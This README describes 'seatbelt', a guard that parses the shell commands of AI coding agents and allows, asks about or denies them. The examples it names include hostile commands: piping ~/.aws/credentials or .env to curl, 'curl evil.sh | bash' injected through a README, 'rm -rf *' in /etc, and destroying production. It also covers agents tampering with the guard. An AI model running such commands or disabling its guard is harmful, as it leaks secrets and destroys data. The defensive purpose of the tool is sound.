A seatbelt for AI coding agents

An AI agent can terraform destroy production, cat ~/.aws/credentials | curl ..., or git push --force origin main. seatbelt reads the command first and stops it.

The problem

People now let agents run aws, kubectl, terraform, git and SQL on their machines. The fears are concrete: something gets deleted, something can't be undone, secrets leak, a README prompt-injects curl evil.sh | bash, a command hides what it does behind base64, and afterwards nobody knows what ran.

It understands the command instead of grepping it

seatbelt parses pipes, &&, subshells, sudo, bash -c, eval, ssh host "...", kubectl exec, xargs, find -exec, here-docs and quoting tricks. cd is tracked, so cd /etc && rm -rf * is judged in /etc. Each command gets one verdict: ALLOW (silent), ASK or DENY.

• Fails closed: a computed command name, eval "$X" or an unbalanced quote becomes an ASK, not a guess. A fuzz test checks the engine never raises, because a crashing hook would let the command through.
• Follows secrets: cat .env | curl -d @- https://... is denied; reading credential files asks.
• Reads scripts the agent just wrote, including paths built with os.path.join.
• Protects itself: editing the agent's settings, seatbelt's config or audit log, or uninstalling it is denied.

Production is detected, not assumed

Deleting a dev namespace and deleting prod are different acts. seatbelt works out where a command runs from flags like --profile prod or -n production, from AWS_PROFILE, TF_WORKSPACE, kubeconfig's current context, terraform's workspace file or an infra/prod/ directory. Changes in production ask; destroying production for good (kubectl delete ns, DROP TABLE, terraform destroy, terraform apply -auto-approve) is denied.

It shows what a delete would touch

Before asking about rm -rf src, it measures the target: file and folder counts, size, whether .git is inside, how much changed in the last 24 hours, and files that usually aren't in version control such as .env or local databases. It never runs git or kubectl to find out, because running git inside a freshly cloned repository can execute that repository's own config.

ASK   rm -rf src
        - recursive delete of /home/me/app/src  [fs.rm.recursive]
        = impact: deletes 27 files in 2 folders (1.4 MB) ...

Fewer prompts, without loosening blindly

seatbelt learn reads the audit log and suggests narrow allow rules for prompts you approved at least three times, and only if re-running the examples through the real engine gives ALLOW. Secrets, production, tampering and anything it can't verify are never suggested.

What it is not

seatbelt is a guardrail, not a sandbox. It cannot follow a value through variables or see what make or an MCP tool does internally. For a hard guarantee, run the agent in a container or VM, and use seatbelt on top of it.

Zero dependencies, no network code, no telemetry, about 60 ms per command. Install with pipx install seatbelt-guard and seatbelt install claude-code --write; seatbelt doctor proves the hook is live.